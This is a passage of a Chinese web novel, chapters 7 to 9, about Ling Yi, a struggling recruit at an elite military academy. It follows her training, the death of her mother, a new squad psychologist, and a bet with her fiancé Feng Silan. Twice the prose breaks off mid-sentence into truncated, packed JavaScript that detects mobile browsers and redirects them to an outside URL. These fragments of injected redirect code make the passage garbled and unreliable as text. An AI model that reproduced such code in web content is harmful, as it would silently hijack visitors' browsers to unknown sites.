“我对你个人来说没有意见,”她直白地说,“如果是在外面,我会和你站在一起反对冯家的强权,我相信在你和冯斯澜的婚姻里你是没有选择权的一方。 “但现在我们在法洛斯,凌一,队伍的排名关系到很多,我不想有一个拖后腿的队友。 “你能退出吗? “冯家有办法把你塞进来,一定也有办法让你不受惩罚的。你会嫁给冯斯澜过让所有人羡慕的生活,你——” 凌一绕开她,继续向前走。 法图抿了下嘴,转头追上,她在八人中算是状态最好的,不仅可以说这么长的话,还有力气拉住凌一的手腕。 “我是为你好,”法图解释,“你没有受过相关训练,你会受伤的。” 凌一盯着法图的手,勉强把想要砍断这只手的渴望咽下去,她低声开口: “你刚说,我和冯家,我是没有选择的一方。” 法图哑然。 凌一无力、但是坚决地把自己的手腕拽出来:“你会对所有落后的队友这么说吗?” 不会。 法图很清楚,她是因为看过凌一的报道,知道她和冯家的关系,所以才会如此确定凌一只是冯家的新娘、她不是一个战士,才会来进行这样一番劝退的发言。 法图不甘心认输:“那你告诉我,你是凭什么进来的?” 是靠着冯家,不是靠她的成绩! 她和她们不一样! “这个问题,”凌一缓慢地说,她其实很想昏倒,但此时此地都不安全,所以只能靠意志力硬撑,“你为什么不去问冯晴和石闻?” 她再次绕开法图,用一种可笑的、一看就知道疲惫到极点的姿势缓慢向前。 法图愣在原地,过了五秒钟才“靠”了一声,这次她没再追上去,而是扬声道: “你觉得你光靠坚持就能留在这里吗?凌一,你太自大了。” 凌一颤颤巍巍伸了一根中指给她。 法图莫名其妙笑了一下,然后立刻板住脸。 “不许笑,”她严厉地对自己说,“不可以被女人骗到。” 晚上是医疗小组为八人进行放松和冰浴,凌一又经历了一番生不如死。 莫里斯介绍说,联盟有技术可以减轻她们身上的伤痛和疲劳,但这种药物只会出现在战场。 训练期间,人体的自愈和修复是最好的成长方式,而疼痛,是她们了解自己身体的必需途径。 也就是说,疼痛不可避免,医疗人员的作用只是确保她们不会真的受伤。 八个人听完后没一个笑的出来的,医疗人员十分熟练,张嘴就是: “你们会习惯的。” 艾伯尼在晚餐时候发来文件,是这三个月里要背诵的内容:军规军纪。 法洛斯的全称是联盟第一军校,军在校之前,比起学生,她们更重要的身份是军人。 宿舍二层就是学习区,每人一个座位,配有纸笔和一套手持输入设备,已经和个人光脑绑定,用于长文本的输入和图案绘制。 需要的书目在光脑上申请,可以在线浏览,也可以借阅实体书和模型,会专人送到这里。 一栋宿舍住一个序列,也就是三小队,住宿区全在一楼。 三楼是健身区,四楼是异能训练的地方,五楼是休闲区,据说配有最新款的游戏舱——不过这三层现在都处于封闭状态,二年级才会开放。 法洛斯一年级不分专业,只分八人的队伍也就是班级进行集体教学。 只有在第一年的结业考通过后,才会按照成绩排名和个人特长分配去向。能留下的人是未来的高战力,突破虫族防线的最强精锐。 不通过的人会被下放到次级军校,要么走纯理论路线进行研究分析,要么被培养成中下层指挥官。 能来法洛斯的人都是奔着游戏排名榜来的,没有人想要落后,当晚的学习室一片安静,每个人都在认真背诵那长到离谱的军规。 凌一没有去,一来是她太疼又太累了,二来,她仍然不习惯和多人共享同一空间,在其他三人去学习的时候,她在宿舍的寂静中慢慢入睡。 第二天凌晨集合号就吹响,整栋楼三个队共计二十四人面色惨白地跑出来,就听见三个队长宣布的噩耗: 当天进行的是低氧环境跑步训练和静默行军演习。 低氧环境对凌一来说是痛不欲生的另一种写法,静默行军则是平等地折磨每一个人——在长达数小时的拉练里,任何声音(包括痛哼)都会导致全队受罚。 受罚方式是平板支撑,做的时候脑袋下面会被放置一个长得像气球的东西,只要被轻轻碰一下,这东西就会散发出比粪便还要恶心百倍的臭味儿。 跟这东西比起来,凌一甚至愿意去粪坑上倒立。 可能因为是集体训练的缘故,强度不高,凌一也能咬牙坚持下来,没有出太大的丑。 开学第二天在所有人吐得昏天黑地里圆满结束。 当晚所有人都洗了超长时间的澡,洗完才去食堂吃完饭。 凌一所在的小队编号2612,同楼的是2610和2611小队。 2612小队八人,除了凌一宿舍的四人,剩下的人里,大眼睛首名叫容迦尔,有一个帅气的金发女叫秦夏,好像什么都懂的紫发叫林叙安,还有和凌一差不多沉默的兰瑟——她是除了凌一外体能最差的一个。 法图左右看了圈,确定艾伯尼不在附近后,低声道: “新情报,我昨晚跟2610、2611打听了,咱们队长是个变态。” 第五名平平看了她一眼:“这用得着问?” 不止一人笑出了声。 法图白了第五名一眼:“我说真的,我问了她们昨天的情况,人家队长开学演讲一个是激励学生奋发图强,另一个是介绍了优秀毕业生鼓励新生学习榜样,热血得很,就艾伯尼这变态,上来就讲什么死亡率。而且她们下午可没有训练,就是一般的讲解校规和注意事项。” 林叙安道:“听说从前线下来的都带点毛病。” 容迦尔的话明显带了点个人情绪:“别的队长也是战士,她在特殊什么?” 秦夏插了句:“有换队长的可能性吗?” 几人同时定住,然后齐齐叹气,带着认命的老实继续吃饭。 凌一没有参与她们的对话,她太饿了,而且对这种大家一起说老师坏话的闲聊氛围很陌生,所以只专心低头吃自己的饭。 法洛斯的食物很美味,都是凌一只在网上见过的菜式,味道更是吊打凌焰常做的营养剂沙拉——也就是把各种营养补品日一声打成糊糊。 酸椒辣笋炒狍肉、红烧刺蚁,还有茄瓜蛋汤,这些凌一只在营养剂里尝过模拟口味的菜,第一次以真实样貌出现在面前,凌一恨不得把碗都塞到嘴里去。 三餐成了凌一每天最期待的时间。在训练的时候,她是2612队那个拖后腿的废物;很少的放松时间里,她也不会聊天胡侃;唯有吃饭的时候,她能快乐地填饱肚子,舌头也在经历前所未有的享受。 队友们对凌一很冷淡,基本不会找她主动说话,就连最懒散、最不在乎被她拖累的第五名,在发现凌一的无趣后,也不再试图靠近。 凌一对这种氛围并不难过,被无视才是她在前半生最熟悉的生存方式,她就像一只找回自己壳的蜗虫,甚至感到安全。 2612小队对凌一的态度也就到不主动搭理这一步了,更过分的辱骂、殴打等霸凌行为是没有的,这群天才专注于自己的未来还嫌精力不够,不会蠢到挑战校规只图一时之快。 法洛斯对同级学生之间欺凌行为的态度是零容忍,一旦被检举、证实的确有相关行为,不但会被立即开除,还会留下案底。 另一个原因是没人有精力找茬,太累了,每天训练完连保持清醒都很难。 前三个月的集中训练的目的有增强体能、习惯规律生活,还有让新生学会听从命令——要做到这一点,把每个人累到没空想东想西是必须的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097101|195669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在前所未有的折磨中,对凌一来说,唯一的好消息是艾伯尼没有对她“另眼相看”,专门针对这个最差劲的学生。 她平等地鄙视2612小队所有人。 2610、2611小队都和她们的队长相处出了不错的感情,只有2612小队,每次休息时间,队员全都在试图用眼刀把队长剐成片状。 这场面成了阵列一景。 对艾伯尼的仇恨在三个月里不减反增,凌一和队友们同仇敌忾,倒有了些真心的情谊。 集中训练的最后一天,队伍提前两小时解散。 “好日子从今天开始就结束了,”艾伯尼看着八人“熬出头了!”的表情,冷笑,“之后所有课程开始正式排名。” 八个人依然高兴。 “今天晚餐后会给你们开放星网连接半小时,要和家人联络的话别错过机会。”艾伯尼最后说了一句,“滚蛋。” 有人欢呼了一声,就连凌一也忍不住笑起来。 晚上大部分人都在外闲逛,找个不属于保密范围、风景秀丽的地方和家人联系。 凌一得以独享宿舍,躺在床上专心盯着天花板。 断网对其他人来说是苦差事,对凌一则不全是这样,密集的训练像砂纸,替她磨去了冯家、婚姻和全网的诅咒,凌一对这短暂的逃离心怀感激。 她想凌焰了。 光脑连接上星网,只有风行止每十天一次发来的常规问候,凌焰那里仍旧是一片空白。 凌一舔了下嘴唇,紧张地让光标移到凌焰这个名字上方。 等会儿要说些什么呢? 问问妈妈的情况,还有,法洛斯在第一年结业后会给一周的假期,也许凌焰愿意来这边旅游。 坚持下去不被淘汰的话,第一年就可以领到很丰厚的奖学金,凌焰那个抠门脾气,看到钱一定很高兴…… 凌一正畅想,冷不丁眼前闪出来风行止的通讯请求,她失望地抿起嘴,摁了接通。 风行止的表情非常奇怪,像是不敢看她,又像是忍耐着什么。 凌一不知道为什么,大脑一片空白,嗓子里和胸口都突然堵了一大团东西。 她坐起身,用嘴巴呼吸,这次没有耳鸣,她清楚地听到了风行止的每一句话。 风行止:“……是意外,我调查过了……节哀……如果你想参加葬礼,我现在就来接你……” 凌焰死于虫族袭击,她在拿到冯家给的钱后先是大买奢侈品,然后报名了以“近观虫族”为噱头的超豪华星际旅行,结果在途中遭遇尖刺飞蝠虫群,所在旅行团无人生还。 凌一忽然又分不清现实和幻觉了。 是AI?是恶作剧?还是诈骗? 她没有哭,也没有崩溃,只是茫然地左右看看。 得说点什么。 凌一嘴巴很干,“不用。”自己在说话吗?为什么声音听起来这么奇怪,“她有留下什么东西吗?” 风行止收到消息后就赶去事发现场调查,现在人正在z83为凌焰处理后事。 “家里的东西我都帮你打包了,她所在的飞艇……不剩下什么。” 风行止欲言又止,对着凌一这张快碎掉的脸实在是说不出什么轻飘飘的安慰,只能干巴巴公事公办地说: “凌一,回来吧,我——” 凌一直接挂断了通讯。 还是睡觉吧。 她倒回床上。 这一切都是梦,不是真的。 凌一闭上眼睛,回到了z83上的小家。 凌焰正在做营养剂沙拉,她一边切紫瓜一边对旁边小小的凌一说: “再见的意思其实就是再也不见,知道了吗?” 凌一冲她傻笑。 凌焰用湿漉漉的手拍了下她的脸蛋:“傻瓜。” 在傻瓜离开z83的时候,凌焰抱了她很久,其他人都以为她给凌一说了许多嘱托,只有凌一知道,其实凌焰一共就说了五个字: “活下去。” 还有 “再见。” 8. 第 8 章 凌一的课表很满,不过种类其实不多。 最多的课程是艾伯尼的训练,按小队上课,包括体能、格斗、武器应用还有各类演习,占了一半以上的时间。 其次是三个公共课程:历史与战争史、初级虫族学、战斗装置基础研究,每门课都是每周一到两节。 异能和精神力训练,这个是按异能类型分班,凌一被分在了识别9班,每周一节课。 心理干预每两周一次,精神力检测与体检是一个月一次。 集训结束的隔天上午,2612小队集体前往医疗部,参加入学以来第一次精神力检测。 本届学生主要活动的范围是法洛斯南半球的蝙蝠区,之所以叫这个名字,是因为这一大块被预留出来的空地的形状,很像是第一地球上一种叫蝙蝠的生物。 宿舍位于蝙蝠的东翼,医疗部在蝙蝠的头部。 法洛斯的建筑都走的极简风,从外面完全看不出里面的豪华与精致。红色的是训练用建筑,蓝色是教学楼,白色并绘有各种星球图案的是食堂,绿色的是医疗相关。 绿植在这里很常见,旁边还有陆行器和飞行器停泊的区域,这些机器目前只有教官可以使用,新生的光脑没有开启权限。 2612小队是跑到医疗部的,这点距离对她们来说和散步差不多。 精神力检测的方式经过好几代进化,最开始是答题,后来改成限时游戏,凌一本来以为又要花很长时间,结果到了地方才知道,她们可以用上法洛斯最新出品的精神力检测舱。 只需要躺进去五分钟,就能得到结果。 舱门在眼前关闭,凌一顺势闭上眼睛,接下来的五分钟她好像是在梦游,很多熟悉或陌生的影子闪过去,凌一都没有抓住,她等了很久,才看到凌焰的背影。 这一次她动了,拼尽全力去追赶,结果凌焰的影子还是越来越远。 “凌焰!” 凌一急得要哭。 “妈妈!” 凌焰终于停下,凌一大喜,正要扑过去,眼前却被一片刺眼的白光盖住,她不舍地睁大眼睛,结果看见莫里斯皱着眉的脸。 B级。 精神力从D到SS一共六个等级,B级在z83属于偏优秀的人,在法洛斯属于残疾人。 凌一根本不在乎结果,她站在检测舱旁边,问莫里斯能不能再做一次。 莫里斯摇头:“短时间内做结果不会改变,”她以为凌一是嫌结果太差,就安慰了一句,“没关系的,你可能还不适应这里的环境,之后会更好的。” 凌一失望地回到队伍里。 队友们一个A级,一个SS级,五个S级,她们对凌一的差劲甚至没有分个眼神: 习惯了。 不意外。 艾伯尼带着众人前往一层,凌一心不在焉落在最后,第五名回了好几次头,表情有些担心。 凌一完全没发现。 一层已经有三个小队在了,见有新人过来,纷纷侧目。艾伯尼顶着三个队长的视线面不改色: “我们没迟到。” 其中一个队长迎上来,给了艾伯尼开玩笑的一拳:“怎么还是这个性子,快坐下吧,这个机会可太难得了。” 入座后法图又开始充当消息贩子: “超级好消息,同志们,咱们的心理专员据说很牛。” 林叙安两眼放光:“是活人吗?” 联盟普通人的心理疏导和测评都是AI完成的,拥有相关异能和专业知识的心理专家属于顶级奢侈品,反正2612小队的八个人都只是听说过,没亲眼见过。 “岂止,”法图嘿嘿一笑,“咱们运气好,分配到了助教。” 这下连第五名都起了兴致。 众所周知,联盟最顶级的心理异能者其实是在前线,每一个队伍都会有一个医疗位,不同于游戏降临前医疗兵只负责战士身体上的治疗和维护,异能出现后,医疗位就肩负起了心理疗愈的重任。 “安静!” 艾伯尼坐在最后一排,厉声喝道。 2612小队立刻噤若寒蝉,就连旁边的四个队伍也都彻底安静下来。 门再次被打开,一位黑发蓝眸、带着单边眼镜的战士走了进来。 在光脑进化为神经接入器之前,就是装载在眼镜上的。有许多需要保持高敏感、或者单纯不喜欢神经接入器的人,依然在用老式的光脑。 不过这位是来自前线的战士,所以她的光脑很大可能只是看起来“老式”,说不定联盟对其改造后的性能,是完爆新生佩戴款式的。 凌一见过的上一个黑发蓝眼的美人是冯斯澜,不过冯斯澜的眼睛是深蓝色,而这位战士的眼眸,是非常浅、更接近天空的透蓝色。 “我是戴胜,属于‘深蓝’军团。” 她以此作为开场白。 深蓝…… 凌一想起自己听过这个词,深蓝、队长、简维安。 开学那天遇见的亲切长官真的很像是凌一幻想出来的梦境,简维安消失了三个月,凌一还以为自己再也不会见到他了。 戴胜是一个像水一样的人,她容貌普通,也就一双眼睛生得好些,其余气质、谈吐,都平平无奇,可平淡归平淡,只要她在说话,场下所有人都忍不住仔细倾听。 包括一直在走神的凌一。 “任何事都有代价,你运用身体进行一系列动作,这一定会对你的肌肉和关节造成损耗;运用异能也是一样的,使用这件武器,不仅会在晚年引发蚀变征,还会对精神力造成持续的损伤。 “每个人的精神力并不会固定在一个级别,外伤、药物、ptsd、巨大的情感挫折……这些都会对精神力造成不良影响。 “所以才有了心理专员的职业,才有了我今天站在诸位面前。 “每两周的心理干预由我为诸位一对一进行,如果有紧急情况,汇报给你们的队长,她们会替你们在我这里进行预约。” 戴胜对最后一排的队长们点头,把自己的通讯方式传给几人。 “我来解释一下心理干预的目的,”戴胜和影视剧里的专员不一样,她没有热情、和善、充满魅力,而是以一种非常有距离感的语气很直接地说道,“不是解决你的问题,也不是挖掘你们的秘密、给你们进行洗脑。 “前者是你自己的任务,后者是读心者的活儿,我们跟他们之间相互不戗行。” 底下响起一阵笑声。 “我会和你们相处一年的时间,在这一年里,我只希望各位学会两件事,第一件是学会求助,学会在脆弱的时候相信专业人士,不要因为无聊的自尊心或者愚昧而伤害到自己;第二件事更加重要——学会和自己更好地相处。 “学会判断自己的状态,学会在问题酿成灾难前把它解决、或者控制起来,这不仅仅是为了你们自己,更是对你们未来的队友、乃至整个战局最大的负责任。” “初期你们会跟我进行很多无效沟通,”戴胜笑笑,“你们大部分人会想方设法向我证明你们的坚强、争强好胜,希望我能给你们一个合格或者优秀的心态评分,这都没有关系,有些时间是必须浪费的,幼儿需要浪费时间在爬行上,才能在日后走的更稳;你们需要浪费时间来相信我,来习惯诚实地表达、以便让一个陌生人帮助自己,只有这样,你们才能在之后的战场上坚持的更久。” 活人果然和AI不一样,凌一的AI老师是一个绝好的垃圾桶,它无条件包容、鼓励倾诉者。而戴胜—— 凌一撤回自己认为她像水的话,戴胜更像一把手术刀,不起眼,但是异常锋利。 “长官,”有人举手,戴胜点头允许了她的提问,“您真的不是读心者吗?” “读心者事实上不能担任心理专员的位置。” “诶——?” “因为人是会对自己撒谎的。” 没太听懂,但戴胜显然没有继续解释的意思。 “那您的异能是什么?” 戴胜:“你们应该有所感觉了。” 这话一出所有人都疑惑起来,凌一皱起眉,她没发现自己…… 不对,她下楼的时候还在心烦意乱,从戴胜进门,不知道情绪怎么就稳定了。 “‘平静引导’。”戴胜结束了自己的讲话,“心理干预从明天正式开始,各位的时间会显示在课表上,随时有变动可能,记得及时查看。” 凌一点开课表,发现果然变了,之前她的预约在下周六的晚上,现在改成了今天晚上。 是因为自己的精神力从开学前的a变成b级了吧。 她关掉课表,抬头的时候发现戴胜正盯着自己。 只是很短的时间,还没等凌一拿定主意做出什么反应,戴胜就挪开了视线。 有点奇怪。 凌一没有放在心上。 * 戴胜在法洛斯有自己的办公室,是独立于深蓝营地、只属于她个人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097102|195669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地盘。 在门前站定,通过光脑身份验证成功,戴胜一边进门一边开启饮水设备,眼角余光有不对劲的影子闪过,她按住腰间的武器,转头看见正坐在自己椅子上的简维安。 戴胜深吸一口气:“你坐就坐,乱调高度干什么?” 躺椅比她习惯的设置要高,而且椅背的幅度也不对了,这是戴胜最喜欢的椅子。而且要把一个椅子调整成最合适的状态,是需要天时地利人和的,任何细微的差别都能造成“不对劲”。 不过现在最大的不对劲不止是椅子,而是椅子上的人。 简维安就穿了件工字背心,身上带着薄汗,脸蛋红红眼神水润,明显是刚运动完。他的头发比三个月前要短不少,整个人看起来青春年少的。 他脚尖一点,慢悠悠转向戴胜: “你当助教就当助教,专门申请指导2612小队干什么?” 戴胜早看习惯他这副皮囊,一点不留恋走到饮水机旁先灌了半杯水,然后才靠在桌子上,挑眉看他: “当然是因为我对她好奇。” 简维安坐起来,手撑着下巴看她:“说了回来会给你一个理由。” 戴胜又喝了口水: “按照规定,在战场上,战士应该保证每十天一次的心理干预;离开战场期间,也要保证一月一次。队长,你已经逃避和我讲话足足有半年了。” 她把杯子重重放在桌上: “我现在还可以调离2612队,只要你如实告诉我,这三个月干嘛去了。” 简维安眨眨眼: “我不告诉你是因为我不想让你也犯下联盟重罪。” 戴胜冷笑:“迟了。超过两个月没有接受干预,按照军规我应该将你上报,军方会派读心者来确定你的立场是否依然坚定。你很清楚,我什么也没有做。因为你让我相信你,也因为我的确相信你。 “现在我要一个答案。为什么你在深蓝全员没有出现崩溃前兆的时候要求返校休假,为什么你要在开学当天故意靠近凌一,还有为什么——这三个月你要冒着生命危险去删除记忆?” 简维安突然站起身,戴胜一愣,看着他绕着桌子走了半圈。 “你是怎么知道的?”简维安眉头紧锁。 “我有我的渠道,”戴胜白了他一眼,“尾巴已经擦干净了,下次做这种事找点靠谱的人。” “这不是不好意思拜托你跟我一起犯罪——” 戴胜强忍住把杯子砸在他脸上的冲动:“没有什么技术是联盟无法突破的,所谓的删除其实是覆盖,只要联盟发现,他们一定有办法找到想要的东西。” “我知道。”简维安声音轻松,“我没想彻底瞒住,只要……有余地就行了。” 戴胜恨不得在他脸上瞪出两个洞: “说好的理由呢?” 简维安:“她对我特别、特别重要。”他向后躲开戴胜砸过来的杯子,脸上露出一个特别灿烂的笑容:“我想通了,你负责凌一其实更好,她在别人手里我反而不放心,对她好点。” “再质疑我的职业素养我就用你的头拖地。”戴胜面无表情,“这个月的格斗训练对手全部预约我,还有,把我这里收拾干净了再滚蛋。” 简维安虚弱一笑,和第一个要求相比,第二个简直特别温柔。 这间房子里的清洁装置只受戴胜操控,简维安从隔壁工具间拿了吸地机过来,打开开关对准地上的玻璃渣和水迹。 “你为什么明天就要见她?”他没忍住还是问了出来。 戴胜已经坐在椅子上重新调整高低了,她设定到满意的高度,才抬起头看向一脸不问到答案誓不罢休的简维安: “她母亲去世了。艾伯尼专门跟我说的,让我把她排在第一位。” 她说完就紧紧盯住简维安的脸,不过可惜的是,简维安并没有表现出什么异常。 死亡是他们最习惯的事,平民、复制士兵、战友,也只有同袍的血能让他们动容了,一个陌生人的死讯,他们如果说感同身受就太虚假了。 简维安表情严肃:“我知道了。” 地面已经收拾干净,简维安推门正要离开,戴胜忍不住喊道: “队长!” 简维安顿住。 “无论你做了什么决定,”戴胜郑重地说,“我们都会站在你这边。” 简维安没有回头,他沉默两息,才语气轻松地回道: “啊,我知道。” 9. 第 9 章 2612小队毫无课程正式开始的喜悦感,因为她们第一天除了早上的精神力检测外,全都是艾伯尼的训练课程。 体能是最重要的,不达标无法操纵机甲。就算不追求排名,体能也必须满足最低标准,否则结业考直接不合格。 艾伯尼已经给她们发过第一年的结业考察标准,分为三部分,通识的三门课程成绩占20%,允许不及格,但需要在其他两项非常优秀才能弥补这部分损失。 体能成绩占40%,志向在医疗或者武器工程方向的可以只满足最低要求,有志于攻击位的就得卷排名了。 最重要也是最复杂的是战斗成绩,包括机甲操作考试和一次模拟战斗。 这些还只是会有成绩的考核,更多看不见的对她们的分析、评价,会持续整整一年。 “所以下半年才能操作机甲是真的。”林叙安十分失望。 艾伯尼难得不带贬低语气:“现在给你们,你们也用不了。” 实话比她吐毒液更伤人。 基础体能训练前三个月已经练熟了,标准俯卧撑、杠铃硬拉、划船机冲刺、杠铃过头推举站姿、仰卧起坐、标准平板支撑保持、来回冲刺跑一共八个动作,需要不间断完成十六轮,旁边的伴奏是艾伯尼的呵斥和催促。 又是一上午的痛苦煎熬,好不容易做完放松和拉伸,艾伯尼强行把摇摇欲坠的八人都踢成标准站姿,才心满意足: “下午是格斗,课程地点在训练场l,不许迟到。” 大魔王终于消失,八人纷纷扑向场边的营养剂和水,这一下的快慢就能看出实力高低,容迦尔第一个,凌一毫不意外跑在最后。 兰瑟只比她快了一步。 其他人稍微补充能量后就去吃饭了,兰瑟和凌一又落在最后。 兰瑟其实是凌一的老乡,她们都来自落后偏远的洛林星域。 除开这层关系,两人还有同为吊车尾的“情谊”在。 凌一是关系户,兰瑟则是特长生。 她的异能【辐射引导】具有非凡的潜力,所以就算是其他方面差了一点,法洛斯还是把她捞进来了。 有这么多共同点,两人之间的关系却是队里最疏远的,凌一虽然不在乎别人怎么对待自己,但她不是笨蛋,比起其他人对她是看麻烦的厌恶,兰瑟对她的讨厌好像更严重。 一前一后走着,凌一又莫名想起凌焰来,一时没注意,撞了兰瑟一下。 兰瑟脸色立刻就变了,她的长相很有风韵,细眉凤眼,直鼻小口,此时整张脸用力挤在一起,把惊讶和嫌弃表现得淋漓尽致。 凌一想,她的五官好灵活。 兰瑟看她不道歉,浅浅翻了个白眼,沉下脸走了。 凌一懒得去追,正期待等会儿入口的又是什么美食,前面的兰瑟又停下脚步,眼睛睁得老大。 凌一沿着她的目光看过去,先是在训练场边看到一群人,然后才是一群人里鹤立鸡群的那位。 “冯斯澜!” 有人尖叫出声。 凌一没想到他在法洛斯也会这么受欢迎。 不过想想也正常,除了那张脸,冯斯澜在其他方面也是出类拔萃。 他现在三年级,所在队伍是明年校内预选赛上的种子选手,被认为很有可能代表法洛斯出征联赛。 异能【空间折叠】,和梅洛尔一样的高贵空间系;精神力从入校起就保持了ss级的高水准;其他课程也都成绩优秀。 真正的天才,既有家世的光环、还有与生俱来的天赋和刻苦奋斗的自持,这种人在哪里都会受到追捧。 凌一感慨了一秒钟,然后决定绕行。 她真的很饿了。 可惜天不遂人愿,刚越过站住不动的兰瑟,凌一就被人叫住了。 冯斯澜大步踏出人群,目标明确地走向凌一。 以他为圆心,挺大的范围都陷入了诡异的安静,各色目光从疑惑慢慢转向明悟,等冯斯澜站在凌一身边时,凌一已经听见有人在低声念叨了: “就这?” “假的吧?” “到底——” 冯斯澜用很直接的话打断了凌一的偷听: “我有话和你说。” 凌一刚结束训练,头发是乱的,脖子上还有汗水,她看着容光焕发、连头发丝都整整齐齐的冯斯澜,无所谓地点头: “好。” 冯斯澜大步向外走,凌一慢慢跟上。 法洛斯绿植是真的多,两人很快就到了一棵树下,凌一发现周围的空气微微扭曲,她歪着头打量,冯斯澜开口: “我的异能,这样别人看不清也听不到。” 凌一没想到他会解释,愣愣说了句“哦”。 冯斯澜伸过来一只手。 凌一疑惑。 冯斯澜默默把手收回去。 “凌一,”他站的稍微放松一点,“我今天来找你是想……” 冯斯澜的声音很轻,羽毛一样飘过耳际。 “请节哀。” 凌一舔了一下嘴唇,她攥紧拳头,找不出话来说。 没关系?谎话。 谢谢?有什么可谢的,如果不是冯家,也许凌焰不会这么早—— 凌一的眉头皱的紧紧的,她忽然很愤怒、不,是一直以来的愤怒被这轻飘飘的三个字点燃了,全身上下都在痛,但是抵不过心里的火焰,她跃跃欲试,拳头在脑子之前飞了出去。 冯斯澜的脸被她打歪了。 凌一呼出一口气,连着向后退了三步,做了个标准的防御姿势。 冯斯澜抹了把嘴角的血,伸手:“水借我冲一下。” 凌一:…… 她摸不透冯斯澜的套路,远远把水杯扔过去,冯斯澜倒了点水把手冲干净,又把水杯还给凌一。 “这算是我替冯晴挨的。”他眉眼沉沉,显然心情不好,“别习惯了,你能见到的每个三年级都能打掉你满嘴牙。” 凌一还是警惕地看着他。 冯斯澜再好的修养也有点破功了,他深吸口气,快速报了一串数字: “我的通讯号,你加一下,我把负责安排你离开新首都的联络人的联系方式发你,在长安星域的新身份和住址都已经办好了,你会在那边的大学免试入学,毕业后直接有公司接收,工资有三个档位,你自己选一下。” 凌一:“我不明白。” 冯斯澜挑眉看她:“我们之间的婚约是冯晴的一时兴起,是个错误,我用了点时间给你安排后路,”他停顿了一下,“现在你只要离开,就可以永远不用和冯家接触了。” 这对他来说不是一件容易的事,冯斯澜一直专心学业,对家族事业接触不多,为了绕过冯晴弄好这摊事,他这段时间可谓是殚精竭虑。 “你可以直接退学,不用担心代价,这些我都会处理好的,总之是冯晴做的不对,我会尽力补偿,你有什么要求——” “我不退学。” 冯斯澜怒极反而笑了,美人有时候也挺倒霉的,比如生气的时候,旁人第一感受到的不是害怕,而是欣赏。 他的蓝眼睛水润润的,脸颊一侧被凌一打红了,更显得肌肤细腻白皙,额发不再整齐,凌乱地洒下,整个人秀色可餐。 “那你要什么?” 凌一盯着他看了几秒,转身想走: “我不退学。” 她都没看清冯斯澜是怎么到自己身边的,等反应过来的时候,冯斯澜已经按住她的肩膀了。 这时候冯斯澜才第一次认真压制,他的气势比不上艾伯尼,但足够让凌一明白两人之间的差距。 “别得寸进尺,”冯斯澜耐心告罄,“你有什么要求都可以提,现在是最好的机会,我会尽我的全力满足你。” 凌一被他接触的一瞬间就汗 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冯斯澜把一瓶水用完了才转回身,结果就看到凌一皱眉、抿唇,一副可怜至极的模样。 冯斯澜很后悔今天出来之前没让司南给自己算算,但此时也来不及了。 “我哭不出来。” 凌一愣愣地说。 她不知道这句话从哪儿来的,可能是因为冯斯澜到目前看起来是个好人,让凌一觉得,也许他会理解、也许他会安慰她。 冯斯澜在心里把冯晴骂了八百遍。 “凌一,”他用尽可能平静的声音说,“我不是你的朋友。我来只是想弥补冯晴犯下的错误,也是为了我不想要一桩包办婚姻。我希望你能考虑一下我的提议。你不适合法洛斯,呆在这里只会受伤。” 凌一没有在前三个月就退学其实让冯斯澜有点惊讶,但这什么也说明不了,因为真正的考验,才刚刚开了个头。 没有被回应的脆弱被凌一收起来,她摇摇头: “不用考虑,我不会退学的。退婚你应该找冯晴。” 冯斯澜是真的生气了,他生平第一次这么低声下气跟一个人说话,结果得来的就是这样的胡搅蛮缠。 “你以为入学了,你就配得上法洛斯?”他冷下脸,“没有舍生的决心、没有对强大的执着、更没有对肩上责任的觉悟,你就算留在这里也不会成为一个战士。是法洛斯这个名字让你产生了对自己的幻觉,还是——” 他想到一种恶心的可能,眼神更加冰冷。 “你觉得我会因此看上你?” 凌一迎着他看烂泥的眼神,扯出一个洛林人特有的、在此时此刻显得尤其可恶的淳朴笑容: “我会留下,不仅如此,我还会留到最后,我会通过结业考,我会——”凌一磕绊了一下,选了法图平日念叨最多、最向往的一件事吹牛,“我会参加联赛!” 冯斯澜也笑了,突然凑得很近:“这么有信心,敢打赌吗?” 就算是在这种糟糕的情况下,凌一还是因为这张脸晃了下神,她攥了下拳头回神,嘴里的话已经说出去了:“……有什么不敢?” 冯斯澜笑的更高兴了:“联赛选拔在明年,如果你能进排名前100,我就认输。但如果你没有……你就得听我安排离开新首都,从此再也不许出现在我面前。” “如果我赢了呢?”凌一不甘示弱。 冯斯澜做了个手势:“任凭你处置。” 凌一就是个傻子也看出来了,冯斯澜觉得他必胜。凌一胸口堵着一口气,这口气给了她灵感: “我赢了的话,我要你公开宣称喜欢我;而且在我们的婚约里,你无条件向我低头。” 这的确恶心到冯斯澜了,他压低眉毛,咬牙切齿: “成、交。”